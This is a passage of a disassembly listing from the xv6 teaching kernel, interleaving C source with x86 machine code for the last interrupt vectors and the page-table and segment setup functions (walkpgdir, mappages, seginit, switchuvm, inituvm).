80106269: e9 82 f2 ff ff jmp 801054f0 <alltraps>
8010626e <vector222>:
.globl vector222
vector222:
pushl $0
8010626e: 6a 00 push $0x0
pushl $222
80106270: 68 de 00 00 00 push $0xde
jmp alltraps
80106275: e9 76 f2 ff ff jmp 801054f0 <alltraps>
8010627a <vector223>:
.globl vector223
vector223:
pushl $0
8010627a: 6a 00 push $0x0
pushl $223
8010627c: 68 df 00 00 00 push $0xdf
jmp alltraps
80106281: e9 6a f2 ff ff jmp 801054f0 <alltraps>
80106286 <vector224>:
.globl vector224
vector224:
pushl $0
80106286: 6a 00 push $0x0
pushl $224
80106288: 68 e0 00 00 00 push $0xe0
jmp alltraps
8010628d: e9 5e f2 ff ff jmp 801054f0 <alltraps>
80106292 <vector225>:
.globl vector225
vector225:
pushl $0
80106292: 6a 00 push $0x0
pushl $225
80106294: 68 e1 00 00 00 push $0xe1
jmp alltraps
80106299: e9 52 f2 ff ff jmp 801054f0 <alltraps>
8010629e <vector226>:
.globl vector226
vector226:
pushl $0
8010629e: 6a 00 push $0x0
pushl $226
801062a0: 68 e2 00 00 00 push $0xe2
jmp alltraps
801062a5: e9 46 f2 ff ff jmp 801054f0 <alltraps>
801062aa <vector227>:
.globl vector227
vector227:
pushl $0
801062aa: 6a 00 push $0x0
pushl $227
801062ac: 68 e3 00 00 00 push $0xe3
jmp alltraps
801062b1: e9 3a f2 ff ff jmp 801054f0 <alltraps>
801062b6 <vector228>:
.globl vector228
vector228:
pushl $0
801062b6: 6a 00 push $0x0
pushl $228
801062b8: 68 e4 00 00 00 push $0xe4
jmp alltraps
801062bd: e9 2e f2 ff ff jmp 801054f0 <alltraps>
801062c2 <vector229>:
.globl vector229
vector229:
pushl $0
801062c2: 6a 00 push $0x0
pushl $229
801062c4: 68 e5 00 00 00 push $0xe5
jmp alltraps
801062c9: e9 22 f2 ff ff jmp 801054f0 <alltraps>
801062ce <vector230>:
.globl vector230
vector230:
pushl $0
801062ce: 6a 00 push $0x0
pushl $230
801062d0: 68 e6 00 00 00 push $0xe6
jmp alltraps
801062d5: e9 16 f2 ff ff jmp 801054f0 <alltraps>
801062da <vector231>:
.globl vector231
vector231:
pushl $0
801062da: 6a 00 push $0x0
pushl $231
801062dc: 68 e7 00 00 00 push $0xe7
jmp alltraps
801062e1: e9 0a f2 ff ff jmp 801054f0 <alltraps>
801062e6 <vector232>:
.globl vector232
vector232:
pushl $0
801062e6: 6a 00 push $0x0
pushl $232
801062e8: 68 e8 00 00 00 push $0xe8
jmp alltraps
801062ed: e9 fe f1 ff ff jmp 801054f0 <alltraps>
801062f2 <vector233>:
.globl vector233
vector233:
pushl $0
801062f2: 6a 00 push $0x0
pushl $233
801062f4: 68 e9 00 00 00 push $0xe9
jmp alltraps
801062f9: e9 f2 f1 ff ff jmp 801054f0 <alltraps>
801062fe <vector234>:
.globl vector234
vector234:
pushl $0
801062fe: 6a 00 push $0x0
pushl $234
80106300: 68 ea 00 00 00 push $0xea
jmp alltraps
80106305: e9 e6 f1 ff ff jmp 801054f0 <alltraps>
8010630a <vector235>:
.globl vector235
vector235:
pushl $0
8010630a: 6a 00 push $0x0
pushl $235
8010630c: 68 eb 00 00 00 push $0xeb
jmp alltraps
80106311: e9 da f1 ff ff jmp 801054f0 <alltraps>
80106316 <vector236>:
.globl vector236
vector236:
pushl $0
80106316: 6a 00 push $0x0
pushl $236
80106318: 68 ec 00 00 00 push $0xec
jmp alltraps
8010631d: e9 ce f1 ff ff jmp 801054f0 <alltraps>
80106322 <vector237>:
.globl vector237
vector237:
pushl $0
80106322: 6a 00 push $0x0
pushl $237
80106324: 68 ed 00 00 00 push $0xed
jmp alltraps
80106329: e9 c2 f1 ff ff jmp 801054f0 <alltraps>
8010632e <vector238>:
.globl vector238
vector238:
pushl $0
8010632e: 6a 00 push $0x0
pushl $238
80106330: 68 ee 00 00 00 push $0xee
jmp alltraps
80106335: e9 b6 f1 ff ff jmp 801054f0 <alltraps>
8010633a <vector239>:
.globl vector239
vector239:
pushl $0
8010633a: 6a 00 push $0x0
pushl $239
8010633c: 68 ef 00 00 00 push $0xef
jmp alltraps
80106341: e9 aa f1 ff ff jmp 801054f0 <alltraps>
80106346 <vector240>:
.globl vector240
vector240:
pushl $0
80106346: 6a 00 push $0x0
pushl $240
80106348: 68 f0 00 00 00 push $0xf0
jmp alltraps
8010634d: e9 9e f1 ff ff jmp 801054f0 <alltraps>
80106352 <vector241>:
.globl vector241
vector241:
pushl $0
80106352: 6a 00 push $0x0
pushl $241
80106354: 68 f1 00 00 00 push $0xf1
jmp alltraps
80106359: e9 92 f1 ff ff jmp 801054f0 <alltraps>
8010635e <vector242>:
.globl vector242
vector242:
pushl $0
8010635e: 6a 00 push $0x0
pushl $242
80106360: 68 f2 00 00 00 push $0xf2
jmp alltraps
80106365: e9 86 f1 ff ff jmp 801054f0 <alltraps>
8010636a <vector243>:
.globl vector243
vector243:
pushl $0
8010636a: 6a 00 push $0x0
pushl $243
8010636c: 68 f3 00 00 00 push $0xf3
jmp alltraps
80106371: e9 7a f1 ff ff jmp 801054f0 <alltraps>
80106376 <vector244>:
.globl vector244
vector244:
pushl $0
80106376: 6a 00 push $0x0
pushl $244
80106378: 68 f4 00 00 00 push $0xf4
jmp alltraps
8010637d: e9 6e f1 ff ff jmp 801054f0 <alltraps>
80106382 <vector245>:
.globl vector245
vector245:
pushl $0
80106382: 6a 00 push $0x0
pushl $245
80106384: 68 f5 00 00 00 push $0xf5
jmp alltraps
80106389: e9 62 f1 ff ff jmp 801054f0 <alltraps>
8010638e <vector246>:
.globl vector246
vector246:
pushl $0
8010638e: 6a 00 push $0x0
pushl $246
80106390: 68 f6 00 00 00 push $0xf6
jmp alltraps
80106395: e9 56 f1 ff ff jmp 801054f0 <alltraps>
8010639a <vector247>:
.globl vector247
vector247:
pushl $0
8010639a: 6a 00 push $0x0
pushl $247
8010639c: 68 f7 00 00 00 push $0xf7
jmp alltraps
801063a1: e9 4a f1 ff ff jmp 801054f0 <alltraps>
801063a6 <vector248>:
.globl vector248
vector248:
pushl $0
801063a6: 6a 00 push $0x0
pushl $248
801063a8: 68 f8 00 00 00 push $0xf8
jmp alltraps
801063ad: e9 3e f1 ff ff jmp 801054f0 <alltraps>
801063b2 <vector249>:
.globl vector249
vector249:
pushl $0
801063b2: 6a 00 push $0x0
pushl $249
801063b4: 68 f9 00 00 00 push $0xf9
jmp alltraps
801063b9: e9 32 f1 ff ff jmp 801054f0 <alltraps>
801063be <vector250>:
.globl vector250
vector250:
pushl $0
801063be: 6a 00 push $0x0
pushl $250
801063c0: 68 fa 00 00 00 push $0xfa
jmp alltraps
801063c5: e9 26 f1 ff ff jmp 801054f0 <alltraps>
801063ca <vector251>:
.globl vector251
vector251:
pushl $0
801063ca: 6a 00 push $0x0
pushl $251
801063cc: 68 fb 00 00 00 push $0xfb
jmp alltraps
801063d1: e9 1a f1 ff ff jmp 801054f0 <alltraps>
801063d6 <vector252>:
.globl vector252
vector252:
pushl $0
801063d6: 6a 00 push $0x0
pushl $252
801063d8: 68 fc 00 00 00 push $0xfc
jmp alltraps
801063dd: e9 0e f1 ff ff jmp 801054f0 <alltraps>
801063e2 <vector253>:
.globl vector253
vector253:
pushl $0
801063e2: 6a 00 push $0x0
pushl $253
801063e4: 68 fd 00 00 00 push $0xfd
jmp alltraps
801063e9: e9 02 f1 ff ff jmp 801054f0 <alltraps>
801063ee <vector254>:
.globl vector254
vector254:
pushl $0
801063ee: 6a 00 push $0x0
pushl $254
801063f0: 68 fe 00 00 00 push $0xfe
jmp alltraps
801063f5: e9 f6 f0 ff ff jmp 801054f0 <alltraps>
801063fa <vector255>:
.globl vector255
vector255:
pushl $0
801063fa: 6a 00 push $0x0
pushl $255
801063fc: 68 ff 00 00 00 push $0xff
jmp alltraps
80106401: e9 ea f0 ff ff jmp 801054f0 <alltraps>
...
80106410 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80106410: 55 push %ebp
80106411: 89 e5 mov %esp,%ebp
80106413: 83 ec 38 sub $0x38,%esp
80106416: 89 5d f4 mov %ebx,-0xc(%ebp)
80106419: 89 d3 mov %edx,%ebx
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
8010641b: c1 ea 16 shr $0x16,%edx
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
8010641e: 89 7d fc mov %edi,-0x4(%ebp)
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80106421: 8d 3c 90 lea (%eax,%edx,4),%edi
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80106424: 89 75 f8 mov %esi,-0x8(%ebp)
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
80106427: 8b 37 mov (%edi),%esi
80106429: 89 f2 mov %esi,%edx
8010642b: 83 e2 01 and $0x1,%edx
8010642e: 74 28 je 80106458 <walkpgdir+0x48>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
80106430: 81 e6 00 f0 ff ff and $0xfffff000,%esi
80106436: 81 c6 00 00 00 80 add $0x80000000,%esi
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
8010643c: c1 eb 0a shr $0xa,%ebx
8010643f: 81 e3 fc 0f 00 00 and $0xffc,%ebx
80106445: 8d 04 1e lea (%esi,%ebx,1),%eax
}
80106448: 8b 5d f4 mov -0xc(%ebp),%ebx
8010644b: 8b 75 f8 mov -0x8(%ebp),%esi
8010644e: 8b 7d fc mov -0x4(%ebp),%edi
80106451: 89 ec mov %ebp,%esp
80106453: 5d pop %ebp
80106454: c3 ret
80106455: 8d 76 00 lea 0x0(%esi),%esi
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
return 0;
80106458: 31 c0 xor %eax,%eax
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
8010645a: 85 c9 test %ecx,%ecx
8010645c: 74 ea je 80106448 <walkpgdir+0x38>
8010645e: 89 55 e4 mov %edx,-0x1c(%ebp)
80106461: e8 4a c0 ff ff call 801024b0 <kalloc>
return 0;
80106466: 8b 55 e4 mov -0x1c(%ebp),%edx
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
80106469: 89 c6 mov %eax,%esi
return 0;
8010646b: 89 d0 mov %edx,%eax
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
8010646d: 85 f6 test %esi,%esi
8010646f: 74 d7 je 80106448 <walkpgdir+0x38>
return 0;
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
80106471: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106478: 00
80106479: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106480: 00
80106481: 89 34 24 mov %esi,(%esp)
80106484: e8 b7 de ff ff call 80104340 <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
80106489: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
8010648f: 83 c8 07 or $0x7,%eax
80106492: 89 07 mov %eax,(%edi)
80106494: eb a6 jmp 8010643c <walkpgdir+0x2c>
80106496: 8d 76 00 lea 0x0(%esi),%esi
80106499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801064a0 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
801064a0: 55 push %ebp
801064a1: 89 e5 mov %esp,%ebp
801064a3: 57 push %edi
801064a4: 56 push %esi
801064a5: 53 push %ebx
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
801064a6: 89 d3 mov %edx,%ebx
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
801064a8: 8d 7c 0a ff lea -0x1(%edx,%ecx,1),%edi
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
801064ac: 83 ec 2c sub $0x2c,%esp
801064af: 8b 75 08 mov 0x8(%ebp),%esi
801064b2: 89 45 e4 mov %eax,-0x1c(%ebp)
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
801064b5: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
801064bb: 81 e7 00 f0 ff ff and $0xfffff000,%edi
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
801064c1: 83 4d 0c 01 orl $0x1,0xc(%ebp)
801064c5: eb 1d jmp 801064e4 <mappages+0x44>
801064c7: 90 nop
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
801064c8: f6 00 01 testb $0x1,(%eax)
801064cb: 75 45 jne 80106512 <mappages+0x72>
panic("remap");
*pte = pa | perm | PTE_P;
801064cd: 8b 55 0c mov 0xc(%ebp),%edx
801064d0: 09 f2 or %esi,%edx
if(a == last)
801064d2: 39 fb cmp %edi,%ebx
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
801064d4: 89 10 mov %edx,(%eax)
if(a == last)
801064d6: 74 30 je 80106508 <mappages+0x68>
break;
a += PGSIZE;
801064d8: 81 c3 00 10 00 00 add $0x1000,%ebx
pa += PGSIZE;
801064de: 81 c6 00 10 00 00 add $0x1000,%esi
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
801064e4: 8b 45 e4 mov -0x1c(%ebp),%eax
801064e7: b9 01 00 00 00 mov $0x1,%ecx
801064ec: 89 da mov %ebx,%edx
801064ee: e8 1d ff ff ff call 80106410 <walkpgdir>
801064f3: 85 c0 test %eax,%eax
801064f5: 75 d1 jne 801064c8 <mappages+0x28>
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
801064f7: 83 c4 2c add $0x2c,%esp
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
801064fa: b8 ff ff ff ff mov $0xffffffff,%eax
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
801064ff: 5b pop %ebx
80106500: 5e pop %esi
80106501: 5f pop %edi
80106502: 5d pop %ebp
80106503: c3 ret
80106504: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106508: 83 c4 2c add $0x2c,%esp
if(a == last)
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
8010650b: 31 c0 xor %eax,%eax
}
8010650d: 5b pop %ebx
8010650e: 5e pop %esi
8010650f: 5f pop %edi
80106510: 5d pop %ebp
80106511: c3 ret
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
80106512: c7 04 24 e8 75 10 80 movl $0x801075e8,(%esp)
80106519: e8 52 9e ff ff call 80100370 <panic>
8010651e: 66 90 xchg %ax,%ax
80106520 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80106520: 55 push %ebp
80106521: 89 e5 mov %esp,%ebp
80106523: 83 ec 18 sub $0x18,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpuid()];
80106526: e8 e5 d1 ff ff call 80103710 <cpuid>
8010652b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax
80106531: 05 80 27 11 80 add $0x80112780,%eax
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106536: c6 40 7d 9a movb $0x9a,0x7d(%eax)
8010653a: c6 40 7e cf movb $0xcf,0x7e(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
8010653e: c6 80 85 00 00 00 92 movb $0x92,0x85(%eax)
80106545: c6 80 86 00 00 00 cf movb $0xcf,0x86(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
8010654c: c6 80 8d 00 00 00 fa movb $0xfa,0x8d(%eax)
80106553: c6 80 8e 00 00 00 cf movb $0xcf,0x8e(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
8010655a: c6 80 95 00 00 00 f2 movb $0xf2,0x95(%eax)
80106561: c6 80 96 00 00 00 cf movb $0xcf,0x96(%eax)
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpuid()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106568: 66 c7 40 78 ff ff movw $0xffff,0x78(%eax)
8010656e: 66 c7 40 7a 00 00 movw $0x0,0x7a(%eax)
80106574: c6 40 7c 00 movb $0x0,0x7c(%eax)
80106578: c6 40 7f 00 movb $0x0,0x7f(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
8010657c: 66 c7 80 80 00 00 00 movw $0xffff,0x80(%eax)
80106583: ff ff
80106585: 66 c7 80 82 00 00 00 movw $0x0,0x82(%eax)
8010658c: 00 00
8010658e: c6 80 84 00 00 00 00 movb $0x0,0x84(%eax)
80106595: c6 80 87 00 00 00 00 movb $0x0,0x87(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
8010659c: 66 c7 80 88 00 00 00 movw $0xffff,0x88(%eax)
801065a3: ff ff
801065a5: 66 c7 80 8a 00 00 00 movw $0x0,0x8a(%eax)
801065ac: 00 00
801065ae: c6 80 8c 00 00 00 00 movb $0x0,0x8c(%eax)
801065b5: c6 80 8f 00 00 00 00 movb $0x0,0x8f(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
801065bc: 66 c7 80 90 00 00 00 movw $0xffff,0x90(%eax)
801065c3: ff ff
801065c5: 66 c7 80 92 00 00 00 movw $0x0,0x92(%eax)
801065cc: 00 00
801065ce: c6 80 94 00 00 00 00 movb $0x0,0x94(%eax)
801065d5: c6 80 97 00 00 00 00 movb $0x0,0x97(%eax)
lgdt(c->gdt, sizeof(c->gdt));
801065dc: 83 c0 70 add $0x70,%eax
static inline void
lgdt(struct segdesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
801065df: 66 c7 45 f2 2f 00 movw $0x2f,-0xe(%ebp)
pd[1] = (uint)p;
801065e5: 66 89 45 f4 mov %ax,-0xc(%ebp)
pd[2] = (uint)p >> 16;
801065e9: c1 e8 10 shr $0x10,%eax
801065ec: 66 89 45 f6 mov %ax,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
801065f0: 8d 45 f2 lea -0xe(%ebp),%eax
801065f3: 0f 01 10 lgdtl (%eax)
}
801065f6: c9 leave
801065f7: c3 ret
801065f8: 90 nop
801065f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106600 <switchkvm>:
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106600: a1 a4 54 11 80 mov 0x801154a4,%eax
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
80106605: 55 push %ebp
80106606: 89 e5 mov %esp,%ebp
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106608: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
8010660d: 0f 22 d8 mov %eax,%cr3
}
80106610: 5d pop %ebp
80106611: c3 ret
80106612: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106620 <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
80106620: 55 push %ebp
80106621: 89 e5 mov %esp,%ebp
80106623: 57 push %edi
80106624: 56 push %esi
80106625: 53 push %ebx
80106626: 83 ec 2c sub $0x2c,%esp
80106629: 8b 75 08 mov 0x8(%ebp),%esi
if(p == 0)
8010662c: 85 f6 test %esi,%esi
8010662e: 0f 84 c4 00 00 00 je 801066f8 <switchuvm+0xd8>
panic("switchuvm: no process");
if(p->kstack == 0)
80106634: 8b 56 08 mov 0x8(%esi),%edx
80106637: 85 d2 test %edx,%edx
80106639: 0f 84 d1 00 00 00 je 80106710 <switchuvm+0xf0>
panic("switchuvm: no kstack");
if(p->pgdir == 0)
8010663f: 8b 46 04 mov 0x4(%esi),%eax
80106642: 85 c0 test %eax,%eax
80106644: 0f 84 ba 00 00 00 je 80106704 <switchuvm+0xe4>
panic("switchuvm: no pgdir");
pushcli();
8010664a: e8 41 db ff ff call 80104190 <pushcli>
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
8010664f: e8 3c d0 ff ff call 80103690 <mycpu>
80106654: 89 c3 mov %eax,%ebx
80106656: e8 35 d0 ff ff call 80103690 <mycpu>
8010665b: 89 45 e4 mov %eax,-0x1c(%ebp)
8010665e: e8 2d d0 ff ff call 80103690 <mycpu>
80106663: 89 c7 mov %eax,%edi
80106665: e8 26 d0 ff ff call 80103690 <mycpu>
8010666a: 8b 55 e4 mov -0x1c(%ebp),%edx
8010666d: 66 c7 83 98 00 00 00 movw $0x67,0x98(%ebx)
80106674: 67 00
80106676: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx)
8010667d: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx)
80106684: 83 c2 08 add $0x8,%edx
80106687: 66 89 93 9a 00 00 00 mov %dx,0x9a(%ebx)
8010668e: 8d 57 08 lea 0x8(%edi),%edx
80106691: 83 c0 08 add $0x8,%eax
80106694: c1 ea 10 shr $0x10,%edx
80106697: c1 e8 18 shr $0x18,%eax
8010669a: 88 93 9c 00 00 00 mov %dl,0x9c(%ebx)
801066a0: 88 83 9f 00 00 00 mov %al,0x9f(%ebx)
sizeof(mycpu()->ts)-1, 0);
mycpu()->gdt[SEG_TSS].s = 0;
801066a6: e8 e5 cf ff ff call 80103690 <mycpu>
801066ab: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax)
mycpu()->ts.ss0 = SEG_KDATA << 3;
801066b2: e8 d9 cf ff ff call 80103690 <mycpu>
801066b7: 66 c7 40 10 10 00 movw $0x10,0x10(%eax)
mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
801066bd: e8 ce cf ff ff call 80103690 <mycpu>
801066c2: 8b 56 08 mov 0x8(%esi),%edx
801066c5: 81 c2 00 10 00 00 add $0x1000,%edx
801066cb: 89 50 0c mov %edx,0xc(%eax)
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
mycpu()->ts.iomb = (ushort) 0xFFFF;
801066ce: e8 bd cf ff ff call 80103690 <mycpu>
801066d3: 66 c7 40 6e ff ff movw $0xffff,0x6e(%eax)
}
static inline void
ltr(ushort sel)
{
asm volatile("ltr %0" : : "r" (sel));
801066d9: b8 28 00 00 00 mov $0x28,%eax
801066de: 0f 00 d8 ltr %ax
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
801066e1: 8b 46 04 mov 0x4(%esi),%eax
801066e4: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
801066e9: 0f 22 d8 mov %eax,%cr3
popcli();
}
801066ec: 83 c4 2c add $0x2c,%esp
801066ef: 5b pop %ebx
801066f0: 5e pop %esi
801066f1: 5f pop %edi
801066f2: 5d pop %ebp
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
mycpu()->ts.iomb = (ushort) 0xFFFF;
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
popcli();
801066f3: e9 d8 da ff ff jmp 801041d0 <popcli>
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
801066f8: c7 04 24 ee 75 10 80 movl $0x801075ee,(%esp)
801066ff: e8 6c 9c ff ff call 80100370 <panic>
if(p->kstack == 0)
panic("switchuvm: no kstack");
if(p->pgdir == 0)
panic("switchuvm: no pgdir");
80106704: c7 04 24 19 76 10 80 movl $0x80107619,(%esp)
8010670b: e8 60 9c ff ff call 80100370 <panic>
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
if(p->kstack == 0)
panic("switchuvm: no kstack");
80106710: c7 04 24 04 76 10 80 movl $0x80107604,(%esp)
80106717: e8 54 9c ff ff call 80100370 <panic>
8010671c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106720 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80106720: 55 push %ebp
80106721: 89 e5 mov %esp,%ebp
80106723: 83 ec 38 sub $0x38,%esp
80106726: 89 75 f8 mov %esi,-0x8(%ebp)
80106729: 8b 75 10 mov 0x10(%ebp),%esi
8010672c: 8b 45 08 mov 0x8(%ebp),%eax
8010672f: 89 7d fc mov %edi,-0x4(%ebp)
80106732: 8b 7d 0c mov 0xc(%ebp),%edi
80106735: 89 5d f4 mov %ebx,-0xc(%ebp)
char *mem;
if(sz >= PGSIZE)
80106738: 81 fe ff 0f 00 00 cmp $0xfff,%esi
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
8010673e: 89 45 e4 mov %eax,-0x1c(%ebp)
char *mem;
if(sz >= PGSIZE)
80106741: 77 59 ja 8010679c <inituvm+0x7c>
panic("inituvm: more than a page");
mem = kalloc();
80106743: e8 68 bd ff ff call 801024b0 <kalloc>
memset(mem, 0, PGSIZE);
80106748: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010674f: 00
80106750: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106757: 00
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
80106758: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
8010675a: 89 04 24 mov %eax,(%esp)
8010675d: e8 de db ff ff call 80104340 <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
80106762: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106768: b9 00 10 00 00 mov $0x1000,%ecx
8010676d: 89 04 24 mov %eax,(%esp)
80106770: 8b 45 e4 mov -0x1c(%ebp),%eax
80106773: 31 d2 xor %edx,%edx
80106775: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp)
8010677c: 00
8010677d: e8 1e fd ff ff call 801064a0 <mappages>
memmove(mem, init, sz);
80106782: 89 75 10 mov %esi,0x10(%ebp)
}
80106785: 8b 75 f8 mov -0x8(%ebp),%esi
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
memset(mem, 0, PGSIZE);
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
memmove(mem, init, sz);
80106788: 89 7d 0c mov %edi,0xc(%ebp)
}
8010678b: 8b 7d fc mov -0x4(%ebp),%edi
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
memset(mem, 0, PGSIZE);
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
memmove(mem, init, sz);
8010678e: 89 5d 08 mov %ebx,0x8(%ebp)
}
80106791: 8b 5d f4 mov -0xc(%ebp),%ebx
80106794: 89 ec mov %ebp,%esp
80106796: 5d pop %ebp
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
memset(mem, 0, PGSIZE);
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
memmove(mem, init, sz);
80106797: e9 64 dc ff ff jmp 80104400 <memmove>
